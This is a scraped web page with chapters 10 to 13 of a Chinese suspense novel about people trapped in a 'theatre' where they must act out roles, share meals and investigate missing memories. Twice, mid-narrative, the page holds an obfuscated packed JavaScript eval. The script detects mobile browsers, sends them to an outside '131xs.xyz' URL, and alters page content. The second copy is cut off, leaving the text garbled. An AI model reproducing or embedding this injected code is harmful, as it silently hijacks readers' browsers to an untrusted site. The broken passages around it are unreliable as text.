他闲适地笑笑,刻意用着平常的口气,没有表现出自己的担忧:“其实有什么关系呢?难道我们就完全诚实了吗?” “我们只是有话没说完。但她——你也看到了,不只是这样。”舒觉语气冷淡,“而且,会用枪可不是什么普通人能有的技能。” 这句话才是她真正的论点。曲语冰没反驳,只是简单道:“你也会,不是吗?” 她给了他一个眼神,大概是“明知故问很好玩吗”的意思。曲语冰摸摸鼻子,还是不多说了。 他决定换个话题。曲语冰把便携折叠屏转向女孩,点开遥控笔,在窗口画面上指点江山,汇报他取得的进展。这大概能多少缓解她的焦虑。 舒觉确认了监控系统的总体情况,眉宇间的折痕舒展开些。她说:“那个古玩店背后有一条暗巷,你去过吗?” 曲语冰思忖了一下,答道:“上一轮去过一次,那里是没有摄像头的。” 那个地方很难被监控。不过,知道有这么个地方的人也寥寥无几。他们作为上一轮的演员,情报上很占优势,不过如果是投资方塞进来的人,也未必就不知道这些。 “其实我们可以去和店主商量一下。”见着舒觉沉思,曲语冰提议道。他接着讲:“一般来说,演员的要求应该都会被满足。不知道在这种地方能不能有用。” “行,下次去问问吧。”舒觉肯定了这个提议。 不远处,那对双胞胎姐弟打闹着,笑声随风传来。舒觉看了一眼,干巴巴地说:“真好啊。我也想这么无忧无虑的。” “他们都心挺大。”曲语冰说。在这种环境里,高中生应该是这副模样吗?他们没有他想象得害怕,不如说,他们似乎已经融入了这个剧场—— “怎么了?” 舒觉在他面前晃晃勺子。曲语冰回过神来,意识到自己的视线停留在那两个背影上太久。他恢复惯常的散漫笑意,“没什么。发呆而已。” 这句话暂且搪塞过对方。舒觉没有追问下去,她继续享用自己的雪糕了。 又一个脚步声。曲语冰转头,身姿挺拔的青年在二十步开外望着他们。夕阳如血,在他身后轰轰烈烈地袭向地平线,在灿烂的黄昏中拖出一条金橙的轨迹,他的面庞笼在一片昏黄中。 祝时明注视着他们两人。他的眼神里有伤感,有怀念,有思绪万千,唯独没有半分嫉妒或吃味。他看着他们,就好像他们已经认识很久。他从遥远的地方回来,庆幸并非一切都已物是人非。 我们曾经见过吗?曲语冰想。他没有舒觉的记忆力,可也不是健忘的类型。 那为什么,在他的记忆中,有关祝时明的部分只是从深网剧场才开始? 10. 第 10 章 【剧目:岛】 【演员:邹摇光、邹玉衡】 邹摇光抱着一柄枪,随小船摇摇晃晃。 她的双胞胎弟弟,邹玉衡,倚在她对面的船板上,做出抱怨的口吻念台词:“这船也太破了吧,我们真到得了那岛吗?” 邹摇光没说话。她双手合十,双目阖拢,嘴唇不出声地喃喃着。邹玉衡瞥了她一眼,不耐烦地叹口气:“又在祷告?你到底是什么时候染上这个癖好的?” 邹摇光还是没理他。片刻后,她睁开眼睛,视线落向远方,微微起伏的海平面映在她的眼中。“这艘船有魔法,你不用担心。” “还有,神会保佑我们的。”她补充一句。邹玉衡听到这句,直接翻了个白眼,但到底碍于姐姐的份量摆在那边,没再说什么。 就这样沉默着摇曳很久。终于,远方透出一点与海水不同的颜色,那是浪潮退去后露出的岛屿边缘。 邹摇光开始检查装备。一边翻看背包,她一边说:“你也看看自己的东西。枪填弹了吗?匕首磨了吗?药剂装好了没?” 虽说是一连串问句,但她语调平缓,并不会让人烦躁。邹玉衡点头,“查过很多次了。没问题。” “好。”邹摇光“啪”地一声关上背包,“那么,复习一下我们的计划。” “上岛之后,尽量绕开出现的人,直奔魔师老巢,杀他个措手不及。”邹玉衡答道。 邹摇光颔首,说:“那些人看似还活着,但应该全部都已经变成魔师的人偶了,他们不算生命,也没有思想,必要情况下,可以击杀。” “我知道啦。倒是老姐你,可不要心软。你的神可没教过你杀戮吧?”邹玉衡咧了下嘴,但那弧度怎么看都不自然,似乎他还没学会该如何这样轻佻随意的笑。 邹摇光垂目,手指轻轻摸过狙击枪光滑的表面。“为了净化罪孽,适当的杀戮是被允许的。神会接受这样的侍奉。” 他们同时向前方望去。近乎完全相同的身形,一模一样的制服,猎人们即将上岸。 双胞胎一回到客厅,曲语冰就鼓起掌:“没想到啊,你们演技居然这么精湛。” 他笑眯眯的,但这话实在听不出是反讽还是赞美。邹摇光警惕地看向他,邹玉衡却慢吞吞地说:“嗯,毕竟我们初高中都是戏剧社的,这些东西还是练过一点。” 坐在一边喝东西的舒觉挑起眉,“戏剧社?” 邹玉衡点点头,毫无形象地一屁股坐到豆包沙发里,“好累啊。姐姐,你要不要也坐一下?” “你是傻瓜吗,你一个人都坐满了我坐哪里?”邹摇光没好气地说,她犹豫一下,还是决定坐到舒觉旁边去。对方给她倒了一杯自己在喝的东西——原来是青柠片泡水。 邹玉衡四肢并用,半爬半挪过来讨水喝,行动姿态有如陆行章鱼。邹摇光表情更嫌弃了,但手上还是把自己那杯分了他一半。 舒觉注意到,把水壶往他们那边推了推,“别客气,这里多的是。” “谢谢舒觉姐姐。”邹玉衡乖巧地道谢。舒觉给叫得头皮一麻,“别,你还是直接叫我名字就行了。” “那不太礼貌吧。”邹摇光说。舒觉连连摆手,“我也没比你们大几岁。正常叫名字就行。” “就是啊。你们也叫我曲语冰就好了。”曲语冰伸手过来要拿水壶,被舒觉一巴掌拍到爪子上。他嗖一下收回手,大声控诉:“你怎么这样!” “我可没说给你喝。”舒觉冷酷地回答。 双胞胎看着他们互动,四只眼睛转来转去,一脸新奇。半晌,邹摇光小心问道:“你们……是在进来之前就认识了吗?” “不。”舒觉光速否认,她脸都不红地撒谎,“但这种手欠的人我什么时候认识都会想打他。” 邹玉衡忍俊不禁,几点笑声从他嘴里漏出来。曲语冰作出悲伤表情,“没想到我在你心里就是这种人。” “不然呢?”舒觉举起杯子喝水。 四人之间沉默了一会儿。片刻后,舒觉低声开口:“不知道什么时候才能回去。” 曲语冰不由看她一眼。在他看来,谁说这话都有可能,但舒觉总是最不可能的那个。更何况,这才进来几天,比起他们上次在这里度过的时间,完全是九牛一毛,还远远不到丧气的时候。 但邹家双胞胎不知道这一点,作为姐姐,邹摇光显然更有安慰人的经验,她凑近过去,试探性轻轻拍舒觉肩头,“没事,我们一起合作,肯定可以出去的。” 邹玉衡也紧跟着附和:“是啊。” 他说:“只要按照剧团的要求演下去,我们就不会有事的。” 他的脸上仍然残留着纯真与稚气。曲语冰忽然意识到,他们不知道。没有经历过一轮演绎的人很难会有和他们一样的想法。 ——至少在他看来,几乎没有可能靠演戏这条道路来逃脱。 开头的剧目总是给人假象。给人希望。让演员以为,只要乖乖听从安排,或许就可以挣脱这荒诞的舞台,重新回到自己的日常。 他们试过。他们当然试过了。但即使是舒觉这样的人,也没能从最后的几场剧目演绎中完好无缺地走出来。 曲语冰清楚,自己没有失去太多东西,只是因为运气比较好。 他抬起眼睛,看到舒觉装作脆弱地接受姐弟俩的安慰。她说:“嗯……要是真能这样就好了。” 她也不可能再相信这样天真而甜美的愿景了。曲语冰默默想着,在第一个受害者出现过后,大概就没有人能做到相信这个了。 那会是谁?会是在什么时间?他无心去推测。 邹摇光还在努力想点安慰人的话:“嗯……你看,这里其实和外面我们生活的地方也没有很大不同吧?不如说,要是还在高中里,我和玉衡还不能那么自由自在地逛街呢。” “是啊,毕竟现在不是假期。”邹玉衡叹了口气,“每天学习学到累死人了。” “不过,你们不是行知中学的?”舒觉提出疑问,“我听说那所学校很宽松啊。学生都特别自由,特立独行的人一抓一大把。” 说出这句话时,她心中一阵抽动,不是直白的疼痛,但总归让人不适,像哪里的脏器被人拧了一把。她还以为自己已经不会再对这件事有所感触。看来,她还没有成熟到能放过这个。 姐弟俩互相看了一眼。姐姐耸耸肩,“是这样吗?我怎么觉得还挺严的呢?” 弟弟跟着点头,“是啊,平时 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本想听点有趣的东西,但也不好太过逼问别人,邹摇光便说:“是呢。不过,我觉得高中也还蛮有趣的,能做的事比初中多。” “那确实。”曲语冰走过来,他举起水壶倒水,这次舒觉没有阻止他。青年握起注满的杯子,就近坐下来,眉目含笑,讲道:“我高中的时候倒是做了不少很好玩的事,比如说……” 他耳上的三个耳环反射着暗沉的光。那是什么材质?好像不是金属。舒觉胡思乱想着,并没有怎么听曲语冰说了什么。 直到一阵大笑声骤然爆发,如同惊鸟振翅,她才回过神。邹摇光放声大笑着,颇有江湖中人的豪气,邹玉衡则在连珠炮问:“之后呢?之后怎么样?” “当然是被教导主任抓起来,臭骂一顿啦。”曲语冰摊开手,语气毫无遗憾,显然觉得先前那件事值得。舒觉凑进来,说:“你不要带坏小孩子啊。” 曲语冰一脸“清汤大老爷啊”的表情,他举起双手:“我明明是在分享乐子!” 随后他说:“两位,不知道能不能帮我个忙?” 邹摇光抬抬下巴,示意他说。邹玉衡说:“要是你还能有这么有意思的事分享,那也可以考虑考虑。” “那要多少有多少。我是想说,能不能请你们做我的老师?”曲语冰说,“你们应该也有看过,我演戏很烂,你们是戏剧社的,也许可以指点指点。” 姐弟俩对看一眼,而后姐姐邹摇光点点头,答他:“那倒是无所谓,反正在这里也没有其他事可干……不过,你那么努力干吗?反正不要被惩罚就好了吧。” “姐姐,你忘了?如果点数够的话,可以许愿的。”邹玉衡说,他清透的目光落到曲语冰面上,“曲哥是想要这个吧。” 曲语冰笑而不语,似乎是默认了。邹玉衡轻轻的声音落在他们之间:“你想要什么呢?” 空气骤然沉重下来,直压口舌,词句难以吐出分毫。舒觉抱臂上观,这并不关她的事,不过倒也提醒她了。 这里必定存在主动进入的演员。他们定有所求。 而这样的人,是会成为他们的对立面,还是站在他们身边? 11. 第 11 章 面前是一碗冒着热气的面线。 熬了数小时的醇厚鸡汤打底,碧绿葱花点点,灿金的炸虾整齐排列在碗沿,翠色小白菜与玉色面线相依共存,还有一个缓缓淌出流沙般蛋黄的水波蛋。 这碗面放在外面店里要价必定不菲,单看卖相都知道滋味绝佳,然而碗前的人却只是捏住筷子,分毫未动。 乔木抬眼,看向面前的家人:他的母亲双手紧握,抿紧的嘴唇和眼角的细纹无一不诉说着她的焦虑与苦痛;他的姐姐不自觉向前倾身,一双漂亮的眼睛紧紧盯着他的手。她看上去像是快要哭了。 我都还没哭呢。乔木心里叹着气,想要安慰她们,却只觉得语言苍白。他抬起筷子,夹起一卷面线。 一厘米一厘米,咸香的面食靠近嘴唇,他嗅到其中所有滋味:汤中的醇、虾肉的甜、青菜的鲜、面线本身小麦的气息。这曾是他最喜欢的家常菜。 他张开嘴。刹那间,一切画面都扭曲了:十足的冷气打在脚踝,那是从打开的冷冻库中溢出的;面前摆着的不再是熟悉的青花瓷面碗,而是洁白、边缘锋利到能割伤手指的长盘,上面排列着煎好的肉排。那其中还透着点生肉的血粉色。 他亲自用平底锅煎的肉。他亲手从人类肢体上切下的肉。 人肉本身的血腥气和腥味扑面而来。乔木喉咙震颤几下,他猛地摔下筷子,转头奔向卫生间。 在剧烈的呕吐声中,他隐约听到外头姐姐的哭声。还有他母亲绝望的叹息。所有声音混杂在一起,让他心如刀割。 他勉力直起身,看向镜中的自己。面色苍白似鬼、双颊凹陷、红发黯淡卷枯。 乔木摁着洗手台的边缘。眼睫翕动几下,疲惫地阖拢。亲人的悲伤仍然在他身边萦绕不休。 那双眼睛睁开。在美丽的眼瞳深处,仍然燃烧着骇人的明亮,就像暴风雨中的火焰,如何都不能浇熄。 乔木用筷子沾了一筷头汤,在舌尖点了点,确认温度和味道都没问题后,他盖上锅盖,开始处理案板上的大葱和生姜。 菜刀接触砧板的声音稳定,向来让他感到安心。他注视着翠绿和洁白的植物被切成段,切口工整,大小近似,他相当满意。在做饭的时候,他总能够平静下来,什么也不想,将整个世界收回自己手中。 ……前提是不要有人来打扰他。苏彦行踪可疑地凑近过来,他对着菜板上的东西瞪大双眼,“喔,你的刀工好牛啊。” “熟能生巧而已。”乔木说。如果他没感觉错的话,苏彦刚刚已经在他背后盯了他好一会儿了,不知道是想干嘛。 他决定给对方一个话头,也避免还有继续这种不咸不淡的对话。“有什么事?” “啥?”苏彦猝不及防,乔木开始刨生姜皮,“你在后面盯着厨房半天了。别告诉我你是饿了。” 他的脸有点发红。乔木剁生姜末,差点让密集的“笃笃”声盖过对方的嘟囔:“就是……上午说那种话,对不起。” 哪种话?乔木沉思片刻,才想起来。他说:“不用。那只是演戏而已。” “话是这么说,但听到肯定会很难受吧。”苏彦说,他直视乔木侧脸,“如果我真有个妹妹要选你做男朋友,我也不会那样想的。” 乔木在心里叹了口气。像他这样的人,要怎么在这样的演绎里活下去?他不是悲观主义者,尚且觉得前途渺茫。 “我说了,没关系。”他揭开锅盖,一股白汽带着浓郁香气直窜出来,“你也最好不要把演戏时候发生的事情当真。” “也许是这样。不过我还是得道歉,还有,我完全没觉得你——那个、怎么说,女性化过!”苏彦举起一只手,像宣誓一样。 备餐基本完毕,乔木摘下一次性医用手套扔进垃圾桶,将手放在水龙头下冲洗。他一边说着:“如果是为这几句话本身,也不用。我觉得剧本台词已经写得很客气了。” “一般别人会直接喊我娘娘腔。”还有更恶心、更下流的说法,乔木不觉得有必要说出来。 苏彦冲口而出:“那也太过分了!” 乔木诧异地看向他。“我觉得这比‘肥猪’、‘土老帽’之类的要礼貌吧。” 他是在象牙塔里长大的吗?他难道不知道小孩子对付和自己不一样的人会有多残忍吗?相比之下,几个无关痛痒的外号并不算什么。 苏彦不说话了。乔木不去管他,他检查其他锅里东西的状态,满意地点点头。这剧场里也就这点还过得去:只要点数足够,不管什么食材都能换得到,他查了,甚至真的能有那种他平时只见过没吃过的食材,不过点数也相当惊人就是了。 他听到苏彦小声说:“……但你不会难过吗?” 仿佛一道微弱的光飞流过脑海。它细小地点亮了沿途灰暗,如同他曾经历过这样的时刻,久违的熟悉感浮上心头。 苏彦还在说话:“被人孤立和嘲笑,肯定没人会觉得舒服的。虽然我不知道那是什么感觉,但肯定不好。” 你当然不懂,你看起来就像身边永远不缺朋友的那种。乔木想着,但不知为何,没有把这句他人听来尖刻的话吐出。 这话听起来有点酸酸的,但实际上他并不嫉妒这种人,甚至可以说没什么感觉,这不管他事。很多时候他觉得自己只是在陈述事实,但别人就会觉得他在讽刺或者嘲笑他们。他觉得是这帮人太玻璃心了。 “无所谓。我不在乎别人怎么叫我,或者怎么说我。那和我没关系。”想了一下,乔木还是解释几句,免得这家伙继续愧疚下去。天知道为什么他会这样心地善良。 他把油倒进锅中。“我要做的不是别人嘴里的我。”我只会是我自己塑造出来的我。 既然如此,那别人怎么看自己,又有什么要紧? 苏彦陷入沉思。乔木开始下青菜,习惯性地说了句:“站远点。小心油。” 哪个人站他旁边他都会这样说。但苏彦一脸“你果然是个大好人”的表情,这他实在有点接受不能。刚才果然应该不说话的,他暗忖。 乔木把最后一锅汤端到桌上,刚好外头门打开,几个脚步声匆匆闯进来。他看了眼,正好是舒觉、曲语冰和祝时明他们三个。 “好饿。今晚吃什么?”看到他站在桌边,曲语冰笑着问道。 “自己过来看。”乔木撂下一句,开始动手舀汤。 舒觉迈着轻巧的步伐来到他手边,乔木递给她一碗汤,她闻到香气,眼神一亮——乔木喜欢他的食客露出这样的表情。她说:“也太香了吧。是萝卜排骨汤吗?” 乔木点点头。他又依此分好剩下三碗汤,并且警告曲语冰:“你敢不把它喝完试试。不准和祝时明偷换。” “天呐,我哪里做过这种事!”曲语冰大呼冤枉。乔木毫不留情揭穿他:“你当我是瞎子?祝时明都快给你撑死了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371713|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “两碗汤的话,我还是可以喝下的。”祝时明吹着汤上热气,闻言打圆场道。乔木坐下来,暂且放过这个话题。 苏彦也在餐桌边坐下,他目光一一逡巡过桌上菜肴。“你们每顿都一起吃吗?我好像只见过乔木在做饭。” “就是他做。我们付点数给他。”曲语冰答他。苏彦愣了下,说:“哦,原来是这样。点数可以互相转让的吗?” “没有规则禁止这一点。我们试了一下,发现能成,就这样做了。”舒觉说。 不管看过几次,乔木仍然对她面不改色撒谎的能力惊叹不已。好像不论在什么情况下,她都能自然地说出谎言,宛如那就是真相。明明她知道,在场好几个人都知道此言非真。 除此之外,她的超忆症让她拥有了他人难以企及的记忆能力,还异常聪慧,推理判断和串联线索总是超前他人好几步,他相信警察局没有她将是警界的一大损失。 但他也很清楚,她身上有太多未解的谜团。以她的年纪,那样的黑客技术难以解释,她也从不解释;她恐惧黑暗和密闭空间,个中原因似乎远比一般人的要更深邃难言。 然而说来也怪,他觉得可以信任她。看着给自己添饭的女孩,乔木默默思索。他并非没看过舒觉残酷的姿态,那副模样任何一个人看了都会怀疑她是个毫无同理心的疯子。但他始终觉得,她是个真正有道德的人。 而曲语冰……乔木看着他往碗里加辣酱,还试图将其推销给旁边的祝时明,而祝时明又是个脾气好得他挑不出毛病的人,在对方的热情下节节败退,认命般舀出一小勺辣酱放到自己的饭上。 舒觉也注意到了这一幕。她起身,开始往一个杯子里倒水。因为下一秒,剧烈的呛咳声传遍整张餐桌,祝时明脸色瞬间辣红,他吐出舌头,疯狂喘气,甚至有眼泪夺眶而出。 舒觉把杯子推过去,祝时明道谢都来不及,开始大灌特灌。曲语冰笑得像只得意的红狐,舒觉瞥了他一眼,语气不咸不淡:“你这招还没玩腻?” “远着呢。”曲语冰拍拍祝时明肩膀,“抱歉啦,小明。我也没想到你这么不能吃辣。” 祝时明好不容易缓过来,他有气无力地说出乔木想法:“你这辣度和我能不能吃辣有一点关系吗?……这到底是以谁为目标客户的东西啊。” “别和他比了。他老家巫陵市的。”舒觉说。所有人脸上都露出“原来如此”的神色。那座城市以辣椒闻名,每年都会举办辣椒节,评选出第一辣的辣椒,本地市民相当以他们的辣椒和火爆菜系为荣。 “我也不是觉得乔木你做的菜不好,只是太久没吃辣了,想来点爽口的。”曲语冰转向乔木,脸上笑意不减。 这桌上恐怕只有他一个人能把这罐辣酱称作“爽口”。祝时明跟化身草食动物了一般,只拣清淡的菜吃了。乔木咽下嘴里的饭,回答他:“我无所谓。每个人都有自己的口味,我做的菜不可能合所有人心意。” “反正,被辣到的也不是我。”他补充道,话音中的不赞同溢于言表。曲语冰放下筷子,他的碗里全是红艳艳的。“下次一定,下次一定。” 舒觉不说话,一昧干饭,相当认真。刚刚乔木看到曲语冰掏出辣酱就准备好了水,不过他没想过会是舒觉去倒。在他的印象里,她不是这么贴心的小可爱。 可能在进入演绎后,大家都有所改变了——但它会放大人心中美好的一面?他可不信。 12. 第 12 章 电影院,放映尚未开始,灯光洒在他和旁边人身上。乔木不喜欢在电影院嘎吱嘎吱吃爆米花——他觉得这不卫生,所以他们只买了饮料。 他啜饮着冰凉的柠檬水,享受那种酸酸的味道;那个人喜欢甜的,又不大喝冷饮,所以买的是热可可。饮料他还是能喝得下的,至少揭开盖子闻到气味的时候,不会被他错觉成某种人体成分。 那个人把手伸过来。碰到他手背的时候抖了一下,“怎么这么凉?” 乔木没回话,他用另一只没有握着饮料的手握回去,手心叠着手心,那个人笑了起来,他忽然觉得电影院灯光更明亮了些。 那个人悄声说:“我还没看过前传呢。它是讲什么的?一群人跑步?” 他说:“是。一群不是专业跑者的人去挑战环市接力跑。就是我去年参加的那个。” “我就是看了这部电影的原著漫画才喜欢上跑步的。”他补充说。这不是他第一次分享这件事,对方对此报以心照不宣的笑容。“不知道我看了之后会不会也喜欢。” “有可能。不会也没关系。”他说,“对了,没看前传也不影响理解。或者你不懂的时候,可以问我,我跟你讲。” 那个人瞪圆眼睛。“可是你之前不是说不喜欢看电影的时候说话……” “你的话没关系。”他捏捏对方掌心。那个人面容变得羞赧,他凝视着那张仿佛梦中的面孔,希望每天他都能望见。 那个人轻轻叹口气。他等了半晌,直到灯光一盏一盏暗下去,也没有等到那个人的声音。 那个人犹豫踌躇的性格又冒出来了。乔木并不觉得不耐或生气,他问:“怎么?” 对方又安静了片刻,才在黑暗中悄声说:“你的……那个,怎么样?” 乔木一时间不太确定她是在问哪个。他想想,说:“厌食症?我正在想办法。现在也不至于什么东西都吃不下,中午和你吃饭也没有什么都没吃吧。” “但是,你吃得比之前……少太多了。你瘦了好多。”那个人的声音低低,带着难以察觉的颤抖,但手握得更加用力。 乔木平静地说:“我不会有事。不用担心。” 面前荧幕亮起。影片名字徐徐展开:“十周年纪念:风正来!” 乔木看着曲语冰放下碗筷,不再进食,但也没有离开餐桌。他自己也差不多饱了,舒觉碗里还剩下不少,祝时明则是精力十足还能再战的样子。 他们四个吃饭一直是这样的状态,乔木已经吸取了第一回的教训,不再做那么多的菜免于浪费。主要是曲语冰的饭量他没估算好。真是惨痛的教训。 “乔木有点像妈妈一样啊。”苏彦不知怎地感慨了一句。话音刚落,他就察觉到自己的问题,立刻补充道:“我没有别的意思!就是觉得,你做饭也太厉害了。” 乔木还没说话,舒觉反而率先开口:“为什么?这两件事有什么关联?” 曲语冰也带着点困惑似地附和:“对啊。会做饭和像妈妈没关系吧。” 一时间,整个餐厅都沉默了。苏彦半张着嘴,一脸怀疑自己说错了什么话的表情;祝时明左右环视,他倒是没有多惊讶的样子,只是手里勺面缓缓滑落酱汁,反映出主人大脑正在飞速运转。 随后,他缓缓开口:“嗯……因为一般家里都是妈妈做饭吧。你们俩家里都不是这样?” “哦,原来如此。”曲语冰饶有兴趣地接口,“对啊,我不怎么记得我母亲有做过几次饭。” 苏彦好像想问什么,但还是忍住没问出来。祝时明说:“我的话,一般工作日爸妈没什么空,都是我哥我姐带我解决的。不过休息日要是有空,他们会轮流做。” 这是要轮着一个个讲下去吗?乔木撕开一包消毒湿巾,开始擦拭自己的指缝,“我们家都喜欢做饭,所以谁有空谁做。” 在他十岁之后,大部分时候都是他和姐姐轮流。毕竟母亲上班总是很辛苦,如果可以,他和姐姐都希望可以为她都分担一些。 他注意到苏彦在盯着他手指的动作。他并不在意,只是把用过的湿巾扔到一边的垃圾桶里。这间屋子里的垃圾桶似乎有自动清理功能,每天早上他下来,都会发现里面光洁一新,而他确定没有任何演员会去干这个活儿。 苏彦的情况自不用说,所有人目光看向舒觉。她恰好吃完了,舒觉动作优雅地用纸巾擦拭干净嘴角,站起身,端着自己的碗碟,她面露微笑:“我没有母亲。” 乔木一般认为自己是个话题终结者,但这次,这个角色绝对轮不着他。他看向苏彦,对方果不其然脸上正写着“我真该死啊”,是半夜惊醒都要扇自己两巴掌的程度。 一时间,空气里只回动着女孩冲洗盘子的声音。祝时明试图缓和气氛:“嗯……大家都各有各的情况吧。”他也端起盘子,对乔木露出感谢的笑容,“你做的东西还是那么好吃。碗就我来洗吧。” “不用了。”他本想加句“你洗不干净”,但犹豫一下,还是算了。这句话引起过太多误解,他实在不想和祝时明再来一回。 好在舒觉在洗碗水槽那边喊道:“算了吧,乔木有自己的标准,要我说,我们都达不到他的及格线。” “哦,也是。”祝时明把自己的碗放进水槽另一边,开始洗手。 见所有人都吃完了,乔木开始收拾残局。他一边把残羹剩菜抹进垃圾袋,一边说:“你还可以。” “谁?我吗?”曲语冰坐在他对面,他安适地瘫在椅子上,活像等着谁去服务他。 乔木向来觉得他不是个好东西。他不怎么信任他,尽管他没有抓到过此人撒谎的确实证据,却还是觉得他并不诚实。但舒觉信任他,不管是出于什么原因,所以他也勉强不去怀疑。 但他究竟是为了什么才重新回到这场演绎?他不像他们。乔木扪心自问自己的理由合情合理,但曲语冰从未正儿八经地解释过他愿意重新站上舞台的原因,他问过一次,却被搪塞过去,他听出对方不想回答,看在舒觉的份儿上才没有追问。否则,这样转移话题或者故作无知,对他是一点不起用的。 他哼了一声,根本懒得回答这个明知故问的家伙。那边舒觉大概冲洗完碗筷,走过来说:“你做梦呢。” 她嫌弃地看了他面前的杂乱一眼,坐到了乔木旁边。乔木继续收拾,说:“他一直这么自恋吗?” 舒觉说:“时不时会犯一下病。你就原谅他吧。” “喂,我还在这呢!”曲语冰装出不满的样子。当然,没人理他。 结束清洁工作,乔木打算去客厅休息一下。不料那里已有人坐下。祝时明双眼注视前方,他手腕上的手环有一小块亮着,似乎是在查看着什么。 非持有者同意,任何投射出的光屏都是只有本人可视的。乔木不知道他在看什么,但不太像什么娱乐的东西,盖因此人表情相当平静,而唇纹上偶尔显出一丝忧虑,仿佛正在看一份有些棘手的病历。 乔木想了下这个比喻是怎么出来的:他好像说过,他是个医学生。他走过去,直接开口道:“你在看什么?” 他没觉得这句话有任何问题。祝时明似乎也没有,他转向他,神情温和:“我在看自己的健康记录。” 乔木知道他在说什么。大部分人出生后不久便会在颈椎内某个地方植入一块芯片,可以全时段监控身体各项指标 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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祝时明点点头,“这类也在功能范围内。不过,主要是为了解决脑部的认知问题。” 这确实让乔木有些意外:“认知问题?” “最典型的就是阿兹海默症。很多类似的疾病都是发现得越早,治疗效果越好,所以这个监测功能非常重要。”祝时明说,“当时国家投入了挺多资金,不过最后并没有取得理想的成果,所以没有公开大肆报道,传播范围不广。” “那我们现在的检测芯片?” “可以算作当时项目的副产品。” 只是副产品就这么便利了,不知道真正的成品会是什么样。乔木正想着,祝时明又说:“据说这个项目的发起,是因为一位主导人的亲属收到了脑部创伤,出现了很严重的失忆症状,那个人希望能治好亲人,所以主导开启了这一项目。” 原来是这样一个充满情感的起因。乔木看着祝时明,对方金棕色的虹膜在灯光下,仿佛一圈凝聚时光的琥珀,“我感觉你很适合做老师。” “什么?” “你很会讲课。多谢祝老师,我又学到了不少知识。”乔木语气毫无变化,但显然,他在开玩笑。 祝时明也听出来了。他露出一点笑容,“那也不错。不过我还是更想当个医生。” 是这样,不然他读医学做什么,为了堆积成山的作业和苦海无涯的五年?乔木说:“这个事情你是从哪里知道的?我从来没听说过。” 不知为何,他感觉对方的目光闪了闪。“在图书馆看到的。我觉得很有趣,就记住了。” 他还以为是他们什么医学史课上讲授的。乔木也休息够了,正打算离开时,祝时明忽然低声说了一句什么。 乔木略微侧过眼睛,“你刚刚是在和我说什么吗?” “也没有,我就是自言自语。”他笑笑,“我是觉得,医学说到底,还是应该用来救人的啊。” 虽然不明白他为何出此感慨,但乔木配合地说:“确实。” 随后他转身离开,祝时明仍然坐在客厅中,像是在等下一个人的到来。 13. 第 13 章 乔木点开手环,再次确认了一遍那个地址。 这是他从他的田径老师那里得来的。说是田径老师,实际上他并不是田径队的,但这位先生和他母亲是发小,经常免费来教他如何正确跑步。 但会面的时候,有一些地方始终让他觉得奇怪。在走向那个地址的路上,乔木复盘自己的记忆。 他的老师先是对他的情况表示遗憾,随后又说她或许可以联系一些国外的治疗师,说不定对他会有帮助。乔木感谢并婉拒了她的好意,他直叙来此目的:“老师,我想问一下,你这边有毛青菱的联系方式或者地址吗?” 他是带着百分之八十的成功概率来问的。作为田径队总教练,金璟掌握着所有队员的情报,甚至能达到此人谈过几次恋爱对象分别是谁的程度,比校园八卦小报大概就慢上一点。她就是这样一个控制狂。 然而,对方的反应出乎他意料:“毛青菱……?你在说谁?” 乔木愣了一下:“她不是你最喜欢的队员吗?” “我不认识这么个人啊。”金璟说。她苦苦思索起来,最后终于一拍手道:“你说的是毛青翼吧?等下哈。” 她不等乔木回答,便摁开手环兀自查找起来。不过几分钟,她便说:“已经发给你了,毛青翼的住址和联络方式。你找他干什么?” 乔木顿了一下,本想说自己找的不是毛青翼是毛青菱,但转念一想再解释下去似乎会越变越复杂,便住口不言了。反正谁的住址都一样。他们俩是姐弟,也没有父母离异什么的,住的地方当然不会是分开的。 但这很奇怪。他想,毛青菱是小他两届的高中学妹,他听她聊过高中田径队的故事。难道那个时候她在骗人?但那毫无必要。 毕竟,她已经被百分百确认了不是幕后凶手。 公寓楼的铁色门就在眼前。乔木犹豫了一下,他其实有点退缩,但还是摁响了门铃。 开门的瞬间,他把想好很久的话一鼓气全部说出:“女士,对于你的失去,我同样很遗憾……” “抱歉,你在说什么?”开门的女人较他矮小不少,她稍微仰起头,乔木在那张脸上找到了毛青菱的唇形和眉毛,“请问你是……?” 他没找错。但这张面孔分毫没有悲伤过度的痕迹。这不可能。这不应该。 在他想清楚之前,话语已经冲口而出:“您的女儿……” “女儿?你是不是记错了?”那位母亲说,“我只有一个儿子啊。” “好热啊——” 苏彦坐在客厅,霸占着空调前的位置,即使如此他仍然抱怨着。乔木把手里托舒觉借阅的资料放下,无情道:“那你就别天天在外面跑来跑去的。你不热谁热。” 苏彦心胸宽广,根本不把这种话放心上,连呛回去都不会,他说:“但总得去找找有没有新线索吧?不过阿木你一天要做三顿饭,时不时还要被拉去演戏,忙成这样就算了。” 现在他也是在乔木手下吃饭的人之一了,自然熟悉起来。其实心里没有很排斥,乔木还是说:“别叫我那个。” “嘿,害羞什么!”苏彦大笑,他亲热地过去,要拍乔木的肩,像个篮球队里的热心学长,不过手停在半途,他带着点抱歉地说:“不好意思,我忘了。” 乔木叹口气。他平生最恨这种自来熟的家伙,但也总是被这种人吃得死死的。当然,曲语冰那种不算。 苏彦总让他想到好几个人。一个是他发小,也依靠这一手自来熟的绝技和他混成了号称一辈子的哥儿们,另一个……针尖般的刺痛窜过脑海,他眉毛飞快皱了一下,某个模糊的影子闪过,如此熟悉,又被抹去。 他不再去想。乔木举起手中书籍,在苏彦手掌上轻敲一下,权当击过掌。苏彦满足地坐回空调前面,趁没有女生在,他撩起T恤下摆,露出小腹,打算痛快地吹个爽。 